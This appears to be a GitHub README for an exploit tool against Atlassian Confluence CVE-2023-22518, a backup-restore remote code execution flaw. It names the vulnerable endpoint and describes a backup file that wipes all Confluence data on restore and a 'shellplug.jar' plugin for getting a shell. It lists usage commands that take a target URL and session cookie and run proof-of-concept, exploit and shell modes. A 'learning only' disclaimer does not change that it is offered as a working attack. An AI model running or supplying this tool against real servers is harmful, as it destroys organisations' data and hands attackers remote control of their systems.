c1ph3rx13/cve-2023-22518Confluence CVE-2023-22518
Exploit for Confluence CVE-2023-22518 (backup-restore RCE)
POST /setup/setup-restore.action
Requires valid login and admin rights (or an auth bypass)
xmlexport-20231127-071916-1.zip – empty Confluence backup. Restoring this will DELETE all data!!!
Replace with any backup; keep it in the same folder as the script.shellplug.jar – getshell plugin, taken from CVE-2023-22515_RCE.python .\CVE-2023-22518.py -h
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗ ██╗ █████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗╚════██╗ ╚════██╗╚════██╗██╔════╝███║██╔══██╗
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗ █████╔╝ █████╔╝███████╗╚██║╚█████╔╝
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚═══██╗╚════╝██╔═══╝ ██╔═══╝ ╚════██║ ██║██╔══██╗
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗██████╔╝ ███████╗███████╗███████║ ██║╚█████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚══════╝╚══════╝╚══════╝ ╚═╝ ╚════╝
@Auth: C1ph3rX13
@Blog: https://c1ph3rx13.github.io
@Note: 代码仅供学习使用，请勿用于其他用途
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target Url
-id JSESSIONID, --jsessionid JSESSIONID
JSESSIONID
--timeout TIMEOUT Timeout (Default: 30 Seconds)
--proxy PROXY Proxy
python .\CVE-2023-22518.py poc -t http://IP:Port
Cookie:
JSESSIONID=754BEE347CD53ECB342B74CFFDD33B4D
python .\CVE-2023-22518.py exp -t http://IP:Port -id 754BEE347CD53ECB342B74CFFDD33B4D
Cookie:
JSESSIONID=754BEE347CD53ECB342B74CFFDD33B4D
python .\CVE-2023-22518.py shell -t http://IP:Port -id 754BEE347CD53ECB342B74CFFDD33B4D
